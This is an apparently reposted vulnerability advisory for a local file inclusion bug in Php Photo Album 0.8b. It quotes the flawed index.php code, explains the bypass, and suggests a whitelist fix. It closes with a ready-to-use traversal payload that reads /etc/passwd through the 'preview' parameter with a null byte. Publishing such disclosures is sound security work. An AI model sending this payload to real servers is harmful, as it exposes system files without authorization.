php photo album,Php Photo Album 0.8b (index.php preview) Local File Inclusion Vulnerability

[START]

###################################################################################################################################

[0x01] Informations:

Script : Php Photo Album 0.8 BETA

Download : http://sourceforge.net/project/downloading.php?group_id=151573&use_mirror=kent&filename=PHPPA_.9_BETA.zip&37834145

Vulnerability : Local File Inclusion

Author : Osirys

Contact : osirys[at]live[dot]it

Website : http://osirys.org

Notes : Proud to be Italian

###################################################################################################################################

[0x02] Bug: [Local File Inclusion]

######

Bugged file is: /[path]/index.php

[CODE]

$skin_temp = $_GET['preview'];

if(isset($_GET['preview']) && file_exists("./skin/$skin_temp/config.php")){

$skin = $_GET['preview'];

}

else{

$skin = vari("skin");

}

require("./skin/$skin/config.php");

[/CODE]

If 'preview' from GET is provided, we can include it just bypassing a stupid cheek.

file_exists("./skin/$skin_temp/config.php) <-- this cheek is stupid, becouse when

we set a value to $skin_temp , if we set a local file with a directory trasversal

it's obvious that the file exists, so it will be included.

[!] FIX: Use another filter instead of file_exists("./skin/$skin_temp/config.php)

Just filter $skin_temp before include it. A fix could be to declare $skin

with a standard or local value, or just put the allowed values in an array,

and cheek then if the skin provided is allowed. See is_in_array() function

[!] EXPLOIT: /[path]/index.php?preview=[local_file]%00

../../../../../../../../../../../../etc/passwd%00

###################################################################################################################################

[/END]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值